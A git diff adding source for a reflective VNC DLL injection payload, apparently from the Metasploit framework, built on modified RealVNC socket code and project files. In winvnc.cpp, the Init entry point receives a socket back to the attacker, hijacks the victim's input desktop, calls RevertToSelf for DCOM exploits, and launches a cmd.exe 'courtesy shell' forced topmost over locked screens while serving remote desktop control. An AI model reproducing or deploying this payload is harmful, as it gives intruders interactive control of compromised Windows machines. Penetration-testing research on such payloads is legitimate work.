index 0000000000..05685e2a06 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vsocket.cpp @@ -0,0 +1,503 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// VSocket.cpp + +// The VSocket class provides a platform-independent socket abstraction +// with the simple functionality required for an RFB server. + +class VSocket; + +//////////////////////////////////////////////////////// +// System includes + +#include "stdhdrs.h" + +#include +#ifdef __WIN32__ +#include +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif +#include + +//////////////////////////////////////////////////////// +// Custom includes + +#include "VTypes.h" + +//////////////////////////////////////////////////////// +// *** Lovely hacks to make Win32 work. Hurrah! + +#ifdef __WIN32__ +#define EWOULDBLOCK WSAEWOULDBLOCK +#endif + +//////////////////////////////////////////////////////// +// Socket implementation + +#include "VSocket.h" + +// The socket timeout value (currently 5 seconds, for no reason...) +// *** THIS IS NOT CURRENTLY USED ANYWHERE +const VInt rfbMaxClientWait = 5000; + +extern HANDLE VncTerminateEvent; + +//////////////////////////// +// Socket implementation initialisation + +static WORD winsockVersion = 0; + +VSocketSystem::VSocketSystem() +{ + // Initialise the socket subsystem + // This is only provided for compatibility with Windows. + +#ifdef __WIN32__ + // Initialise WinPoxySockets on Win32 + WORD wVersionRequested; + WSADATA wsaData; + + wVersionRequested = MAKEWORD(2, 0); + if (WSAStartup(wVersionRequested, &wsaData) != 0) + { + m_status = VFalse; + return; + } + + winsockVersion = wsaData.wVersion; + +#else + // Disable the nasty read/write failure signals on UNIX + signal(SIGPIPE, SIG_IGN); +#endif + + // If successful, or if not required, then continue! + m_status = VTrue; +} + +VSocketSystem::~VSocketSystem() +{ + if (m_status) + { + WSACleanup(); + } +} + +//////////////////////////// + +VSocket::VSocket() +{ + // Clear out the internal socket fields + sock = -1; +} + +VSocket::VSocket(int inSock) +{ + sock = inSock; + + // if (!mut) +// mut = CreateMutex(NULL, FALSE, NULL); + +// int one = 1; +// setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)); +} + +//////////////////////////// + +VSocket::~VSocket() +{ + // Close the socket + Close(); +} + +//////////////////////////// + +VBool +VSocket::Create() +{ + const int one = 1; + + // Check that the old socket was closed + if (sock >= 0) + Close(); + + // Create the socket + if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) + { + return VFalse; + } + + // Set the socket options: +#ifndef WIN32 + if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one))) + { + return VFalse; + } +#endif + if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one))) + { + return VFalse; + } + + return VTrue; +} + +//////////////////////////// + +VBool +VSocket::Close() +{ + if (sock >= 0) + { + //vnclog.Print(LL_SOCKINFO, VNCLOG("closing socket\n")); + + shutdown(sock, SD_BOTH); +#ifdef __WIN32__ + closesocket(sock); +#else + close(sock); +#endif + sock = -1; + + SetEvent(VncTerminateEvent); + } + return VTrue; +} + +//////////////////////////// + +VBool +VSocket::Shutdown() +{ + if (sock >= 0) + { + //vnclog.Print(LL_SOCKINFO, VNCLOG("shutdown socket\n")); + + shutdown(sock, SD_BOTH); + } + return VTrue; +} + +//////////////////////////// + +VBool +VSocket::Bind(const VCard port, const VBool localOnly) +{ + struct sockaddr_in addr; + + // Check that the socket is open! + if (sock < 0) + return VFalse; + + // Set up the address to bind the socket to + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + if (localOnly) + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + else + addr.sin_addr.s_addr = htonl(INADDR_ANY); + + // And do the binding + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) + return VFalse; + + return VTrue; +} + +//////////////////////////// + +VBool +VSocket::Connect(const VString address, const VCard port) +{ + // Check the socket + if (sock < 0) + return VFalse; + + // Create an address structure and clear it + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + + // Fill in the address if possible + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr(address); + + // Was the string a valid IP address? + if (addr.sin_addr.s_addr == -1) + { + // No, so get the actual IP address of the host name specified + struct hostent *pHost; + pHost = gethostbyname(address); + if (pHost != NULL) + { + if (pHost->h_addr == NULL) + return VFalse; + addr.sin_addr.s_addr = ((struct in_addr *)pHost->h_addr)->s_addr; + } + else + return VFalse; + } + + // Set the port number in the correct format + addr.sin_port = htons(port); + + // Actually connect the socket + if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) + return VTrue; + + return VFalse; +} + +//////////////////////////// + +VBool +VSocket::Listen() +{ + // Check socket + if (sock < 0) + return VFalse; + + // Set it to listen + if (listen(sock, 5) < 0) + return VFalse; + + return VTrue; +} + +//////////////////////////// + +VSocket * +VSocket::Accept() +{ + const int one = 1; + + int new_socket_id; + VSocket * new_socket; + + // Check this socket + if (sock < 0) + return NULL; + + // Accept an incoming connection + if ((new_socket_id = accept(sock, NULL, 0)) < 0) + return NULL; + + // Create a new VSocket and return it + new_socket = new VSocket; + if (new_socket != NULL) + { + new_socket->sock = new_socket_id; + } + else + { + shutdown(new_socket_id, SD_BOTH); + closesocket(new_socket_id); + } + + // Attempt to set the new socket's options + setsockopt(new_socket->sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)); + + return new_socket; +} + +//////////////////////////// + +VString +VSocket::GetPeerName() +{ +/* struct sockaddr_in sockinfo; + struct in_addr address; + int sockinfosize = sizeof(sockinfo); + VString name; + + // Get the peer address for the client socket + getpeername(sock, (struct sockaddr *)&sockinfo, &sockinfosize); + memcpy(&address, &sockinfo.sin_addr, sizeof(address)); + + name = inet_ntoa(address); + if (name == NULL) + return ""; + else + return name; + */ + + return ""; +} + +//////////////////////////// + +VString +VSocket::GetSockName() +{ +/* struct sockaddr_in sockinfo; + struct in_addr address; + int sockinfosize = sizeof(sockinfo); + VString name; + + // Get the peer address for the client socket + getsockname(sock, (struct sockaddr *)&sockinfo, &sockinfosize); + memcpy(&address, &sockinfo.sin_addr, sizeof(address)); + + name = inet_ntoa(address); + if (name == NULL) + return ""; + else + return name; + */ + + return ""; +} + +//////////////////////////// + +VCard32 +VSocket::Resolve(const VString address) +{ + VCard32 addr; + + // Try converting the address as IP + addr = inet_addr(address); + + // Was it a valid IP address? + if (addr == 0xffffffff) + { + // No, so get the actual IP address of the host name specified + struct hostent *pHost; + pHost = gethostbyname(address); + if (pHost != NULL) + { + if (pHost->h_addr == NULL) + return 0; + addr = ((struct in_addr *)pHost->h_addr)->s_addr; + } + else + return 0; + } + + // Return the resolved IP address as an integer + return addr; +} + +//////////////////////////// + +VBool +VSocket::SetTimeout(VCard32 millisecs) +{ + if (LOBYTE(winsockVersion) < 2) + return VFalse; + int timeout=millisecs; + if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR) + { + return VFalse; + } + if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR) + { + return VFalse; + } + return VTrue; +} + +//////////////////////////// + +VInt +VSocket::Send(const char *buff, const VCard bufflen) +{ + VInt res; + + sockMutex.lock(); + res = send(sock, buff, bufflen, 0); + sockMutex.unlock(); + + return res; +} + +//////////////////////////// + +VBool +VSocket::SendExact(const char *buff, const VCard bufflen) +{ + return Send(buff, bufflen) == (VInt)bufflen; +} + +//////////////////////////// + +VInt +VSocket::Read(char *buff, const VCard bufflen) +{ + VInt res; + + sockMutex.lock(); + res = recv(sock, buff, bufflen, 0); + sockMutex.unlock(); + + return res; +} + +//////////////////////////// + +VBool +VSocket::ReadExact(char *buff, const VCard bufflen) +{ + int n; + VCard currlen = bufflen; + + while (currlen > 0) + { + // Try to read some data in + n = Read(buff, currlen); + + if (n > 0) + { + // Adjust the buffer position and size + buff += n; + currlen -= n; + } else if (n == 0) { + //vnclog.Print(LL_SOCKERR, VNCLOG("zero bytes read\n")); + + return VFalse; + } else { + if (WSAGetLastError() != WSAEWOULDBLOCK) + { + //vnclog.Print(LL_SOCKERR, VNCLOG("socket error %d\n"), WSAGetLastError()); + return VFalse; + } + } + } + + return VTrue; +} + + + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vsocket.h b/external/source/reflective_vncdll/winvnc/winvnc/vsocket.h new file mode 100644 index 0000000000..91af27a833 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vsocket.h @@ -0,0 +1,139 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// VSocket.h + +// RFB V3.0 + +// The VSocket class provides simple socket functionality, +// independent of platform. Hurrah. + +class VSocket; + +#if (!defined(_ATT_VSOCKET_DEFINED)) +#define _ATT_VSOCKET_DEFINED + +#include "VTypes.h" +#include "omnithread.h" + +//////////////////////////// +// Socket implementation + +// Create one or more VSocketSystem objects per application +class VSocketSystem +{ +public: + VSocketSystem(); + ~VSocketSystem(); + VBool Initialised() {return m_status;}; +private: + VBool m_status; +}; + +// The main socket class +class VSocket +{ +public: + // Constructor/Destructor + VSocket(); + VSocket(int inSock); + virtual ~VSocket(); + + //////////////////////////// + // Socket implementation + + // Create + // Create a socket and attach it to this VSocket object + VBool Create(); + + // Shutdown + // Shutdown the currently attached socket + VBool Shutdown(); + + // Close + // Close the currently attached socket + VBool Close(); + + // Bind + // Bind the attached socket to the specified port + // If localOnly is VTrue then the socket is bound only + // to the loopback adapter. + VBool Bind(const VCard port, const VBool localOnly=VFalse); + + // Connect + // Make a stream socket connection to the specified port + // on the named machine. + VBool Connect(const VString address, const VCard port); + + // Listen + // Set the attached socket to listen for connections + VBool Listen(); + + // Accept + // If the attached socket is set to listen then this + // call blocks waiting for an incoming connection, then + // returns a new socket object for the new connection + VSocket *Accept(); + + // GetPeerName + // If the socket is connected then this returns the name + // of the machine to which it is connected. + // This string MUST be copied before the next socket call... + VString GetPeerName(); + + // GetSockName + // If the socket exists then the name of the local machine + // is returned. This string MUST be copied before the next + // socket call! + VString GetSockName(); + + // Resolve + // Uses the Winsock API to resolve the supplied DNS name to + // an IP address and returns it as an Int32 + static VCard32 Resolve(const VString name); + + // SetTimeout + // Sets the socket timeout on reads and writes. + VBool SetTimeout(VCard32 millisecs); + + // I/O routines + + // Send and Read return the number of bytes sent or recieved. + VInt Send(const char *buff, const VCard bufflen); + VInt Read(char *buff, const VCard bufflen); + + // SendExact and ReadExact attempt to send and recieve exactly + // the specified number of bytes. + VBool SendExact(const char *buff, const VCard bufflen); + VBool ReadExact(char *buff, const VCard bufflen); + + //////////////////////////// + // Internal structures +protected: + // The internal socket id + int sock; + omni_mutex sockMutex; +}; + +#endif // _ATT_VSOCKET_DEFINED diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vtypes.h b/external/source/reflective_vncdll/winvnc/winvnc/vtypes.h new file mode 100644 index 0000000000..52616cfaab --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vtypes.h @@ -0,0 +1,87 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +// VTypes.h + +// RFB V3.0 + +// Datatypes used by the VGui system + +#if (!defined(_ATT_VTYPES_DEFINED)) +#define _ATT_VTYPES_DEFINED + +//////////////////////////// +// Numeric data types + +//////////////////////////// +// Fixed size (derived from rfb.h) + +typedef unsigned int VCard32; +typedef unsigned short VCard16; +typedef unsigned char VCard8; +typedef int VInt32; +typedef short VInt16; +typedef char VInt8; + +//////////////////////////// +// Variable size +// These will always be at least as big as the largest +// fixed-size data-type + +typedef VCard32 VCard; +typedef VInt32 VInt; + +//////////////////////////// +// Useful functions on integers + +static inline VInt Max(VInt x, VInt y) {if (x>y) return x; else return y;} +static inline VInt Min(VInt x, VInt y) {if (x +// - Hacked up RealVNC until it worked as a DLL inject payload, rewrote the +// startup routines, disabled hooking, hardcoded the app to poll mode, fixed +// the makefiles/build env to create one DLL with all the thread stuff built +// in, and generally made this project a reality. +// +// 00.02% of this code was mangled/written by H D Moore +// - Stubbed out almost all of the desktop routines to allow this payload to +// run from non-interactive services, non-logged in terminals, and locked +// screens. +// + +//////////////////////////// +// System headers +#include "stdhdrs.h" + +//////////////////////////// +// Custom headers +#include "VSocket.h" +#include "WinVNC.h" + +#include "vncServer.h" +#include "vncMenu.h" +#include "vncInstHandler.h" +#include "vncService.h" +#include "..\vncdll\ReflectiveLoader.h" +// Application instance and name +HINSTANCE hAppInstance; +const char *szAppName = "vncdll"; +DWORD mainthreadId; +CHAR globalPassphrase[MAXPWLEN+1]; +HANDLE VncTerminateEvent = NULL; + +/* +BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD blah, LPVOID bleh) +{ + hAppInstance = hInstance; + return TRUE; +}*/ + +/* +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) +{ + // This DLL is called via Init() now, not WinMain... + return 0; +} +*/ +// Uncomment this if you want to use the vncdll that doesn't support processing +// a one byte flag. +//#define USE_OLD_VNCDLL + +// VNCDLL flags +#define VNCDLL_FLAG_DISABLE_SHELL (1 << 0) + +// This is the entry point for the DLL inject payload, the Init +// function only receives one argument, the socket back to the +// attacking system. +extern "C" __declspec(dllexport) int Init(SOCKET fd) +{ + int len = 0; + char *error = ""; + setbuf(stderr, 0); + // //vnclog.SetFile("C:\\WinVNC.log", false); + + HWINSTA os = GetProcessWindowStation(); + UCHAR flags = 0; + + // Create the termination event + VncTerminateEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + +#ifndef USE_OLD_VNCDLL + // Read in the 1 byte flag variable + recv(fd, (PCHAR)&flags, 1, 0); +#endif + + // Get our bearings, hijack the input desktop + HWINSTA ws = OpenWindowStation("winsta0", TRUE, MAXIMUM_ALLOWED); + if (ws == NULL) { + // This call to RevertToSelf() is required for the DCOM exploits + RevertToSelf(); + ws = OpenWindowStation("winsta0", TRUE, MAXIMUM_ALLOWED); + } + + if (ws == NULL) { + error = "ERROR: Could not open the default window station\n"; + } else { + if (! SetProcessWindowStation(ws)) { + ws = NULL; + error = "ERROR: Could not set the process window station\n"; + } else { + // Close this to prevent the old handle from being used instead + CloseWindowStation(os); + } + } + + HDESK desk = OpenInputDesktop(NULL, TRUE, MAXIMUM_ALLOWED); + if (ws && desk == NULL) { + CloseHandle(ws); + error = "ERROR: Could not open the input desktop\n"; + } + + if (desk && ! SwitchDesktop(desk)) { + CloseHandle(ws); + CloseHandle(desk); + error = "ERROR: Could not switch to the input desktop\n"; + } + + SetThreadDesktop(desk); +/* + if (strlen(error)) { + //vnclog.Print(LL_STATE, VNCLOG("Error log: %s\n"), error); + }*/ + + DWORD dummy; + char name_win[256]; + char name_des[256]; + char name_all[1024]; + + memset(name_all, 0, sizeof(name_all)); + + os = GetProcessWindowStation(); + GetUserObjectInformation(os, UOI_NAME, &name_win, 256, &dummy); + GetUserObjectInformation(desk, UOI_NAME, &name_des, 256, &dummy); + + _snprintf(name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des); + //vnclog.Print(LL_STATE, VNCLOG("Target Desktop: %s\n"), name_all); + + // Attempt to unlock the WindowStation, doesn't seem to work yet :( + HMODULE user32 = LoadLibrary("user32.dll"); + if (user32) { + typedef BOOL (*ULProc)(HWINSTA); + ULProc unlockwinstation = (ULProc)GetProcAddress(user32, "UnlockWindowStation"); + if (unlockwinstation) { + //vnclog.Print(LL_STATE, VNCLOG("Attempting to unlock the window station\n")); + unlockwinstation(os); + } + FreeLibrary(user32); + } + + // If the courtesy shell should be displayed, do it! + if ((flags & VNCDLL_FLAG_DISABLE_SHELL) == 0) + { + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&pi, 0, sizeof(pi)); + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USEFILLATTRIBUTE; + si.wShowWindow = SW_NORMAL; + si.lpDesktop = name_all; + si.lpTitle = "Metasploit Courtesy Shell (TM)"; + si.dwFillAttribute = FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|BACKGROUND_BLUE; + + CreateProcess(NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + Sleep(1000); + + // Attempt to set this window as the topmost, this allows us to + // run right on top of locked desktops ;) + HWND shell = FindWindow(NULL, "Metasploit Courtesy Shell (TM)"); + if (shell) { + SetWindowPos(shell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE); + } + } + +#ifdef _DEBUG + { + // Get current flag + int tmpFlag = _CrtSetDbgFlag( _CRTDBG_REPORT_FLAG ); + + // Turn on leak-checking bit + tmpFlag |= _CRTDBG_LEAK_CHECK_DF; + + // Set flag to the new value + _CrtSetDbgFlag( tmpFlag ); + } +#endif + + // Save the application instance and main thread id + mainthreadId = GetCurrentThreadId(); + + // Initialise the VSocket system + VSocketSystem socksys; + if (!socksys.Initialised()) + { + // MessageBox(NULL, "Failed to initialise the socket system", szAppName, MB_OK); + return 0; + } + //vnclog.Print(LL_STATE, VNCLOG("sockets initialised\n")); + + + // Set this process to be the last application to be shut down. + SetProcessShutdownParameters(0x100, 0); + + // CREATE SERVER + vncServer server; + + // Set the name and port number + server.SetName(szAppName); + server.SetLoopbackOk(TRUE); + server.SetLoopbackOnly(TRUE); + + //vnclog.Print(LL_STATE, VNCLOG("server created ok\n")); + + // Create inline client socket + VSocket sock(fd); + + server.AddClient(&sock, FALSE, FALSE); + + // Now enter the message handling loop until told to quit! + WaitForSingleObjectEx(VncTerminateEvent, INFINITE, FALSE); + +#if 0 + MSG msg; + while (GetMessage(&msg, NULL, 0,0) ) { + MessageBox(0, "window msg", 0, 0); + //vnclog.Print(LL_INTINFO, VNCLOG("message %d recieved\n"), msg.message); + + TranslateMessage(&msg); // convert key ups and downs to chars + DispatchMessage(&msg); + } + + return msg.wParam; +#endif + + //vnclog.Print(LL_STATE, VNCLOG("shutting down server\n")); + + return 0; +} + +//===============================================================================================// +BOOL MetasploitDllAttach( SOCKET socket ) +{ + Init( socket ); + return TRUE; +} +//===============================================================================================// +BOOL MetasploitDllDetach( DWORD dwExitFunc ) +{ + switch( dwExitFunc ) + { + case EXITFUNC_SEH: + SetUnhandledExceptionFilter( NULL ); + break; + case EXITFUNC_THREAD: + ExitThread( 0 ); + break; + case EXITFUNC_PROCESS: + ExitProcess( 0 ); + break; + default: + break; + } + + return TRUE; +} +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_METASPLOIT_ATTACH: + bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved ); + break; + case DLL_METASPLOIT_DETACH: + bReturnValue = MetasploitDllDetach( (DWORD)lpReserved ); + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} +//===============================================================================================// \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/winvnc.def b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.def new file mode 100644 index 0000000000..b7a171cf5c --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.def @@ -0,0 +1,4 @@ +LIBRARY "vncdll.dll" + +EXPORTS + Init PRIVATE diff --git a/external/source/reflective_vncdll/winvnc/winvnc/winvnc.dsp b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.dsp new file mode 100644 index 0000000000..28dfe6bd1e --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.dsp @@ -0,0 +1,710 @@ +# Microsoft Developer Studio Project File - Name="winvnc" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Application" 0x0101 + +CFG=winvnc - Win32 Profile +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "winvnc.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "winvnc.mak" CFG="winvnc - Win32 Profile" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "winvnc - Win32 Release" (based on "Win32 (x86) Application") +!MESSAGE "winvnc - Win32 Debug" (based on "Win32 (x86) Application") +!MESSAGE "winvnc - Win32 Release CORBA" (based on "Win32 (x86) Application") +!MESSAGE "winvnc - Win32 Release CORBA DEBUG" (based on "Win32 (x86) Application") +!MESSAGE "winvnc - Win32 Profile" (based on "Win32 (x86) Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "winvnc - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release" +# PROP Intermediate_Dir "..\Release" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /I "..\omnithread" /I ".." /I "..\.." /D "NDEBUG" /D "__x86__" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib wsock32.lib shell32.lib advapi32.lib ole32.lib /nologo /subsystem:windows /machine:I386 +# Begin Special Build Tool +SOURCE="$(InputPath)" +PreLink_Cmds=cl /nologo /MT /Fo..\Release\ /Fd..\Release\ /c buildtime.cpp +# End Special Build Tool + +!ELSEIF "$(CFG)" == "winvnc - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Debug" +# PROP Intermediate_Dir "..\Debug" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /I "..\omnithread" /I ".." /I "..\.." /D "_DEBUG" /D "__x86__" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib wsock32.lib shell32.lib advapi32.lib ole32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept +# Begin Special Build Tool +SOURCE="$(InputPath)" +PreLink_Cmds=cl /nologo /MTd /Fo..\Debug\ /Fd..\Debug\ /c buildtime.cpp +# End Special Build Tool + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "winvnc___Win32_Release_CORBA" +# PROP BASE Intermediate_Dir "winvnc___Win32_Release_CORBA" +# PROP BASE Ignore_Export_Lib 0 +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release_CORBA" +# PROP Intermediate_Dir "..\Release_CORBA" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /I "..\omnithread" /I ".." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /I "\\lce\root\lce\orl\omni\omni3\include" /I "..\omnithread" /I ".." /I "..\.." /D "NDEBUG" /D "_CORBA" /D "__x86__" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib wsock32.lib /nologo /subsystem:windows /machine:I386 +# ADD LINK32 omniORB304_rt.lib omniDynamic304_rt.lib kernel32.lib user32.lib gdi32.lib wsock32.lib shell32.lib advapi32.lib ole32.lib /nologo /subsystem:windows /machine:I386 /libpath:"\\lce\root\lce\orl\omni\omni3\lib\x86_win32" + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA DEBUG" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "winvnc___Win32_Release_CORBA_DEBUG" +# PROP BASE Intermediate_Dir "winvnc___Win32_Release_CORBA_DEBUG" +# PROP BASE Ignore_Export_Lib 0 +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release_CORBA_DEBUG" +# PROP Intermediate_Dir "..\Release_CORBA_DEBUG" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "..\omnithread" /I ".." /I 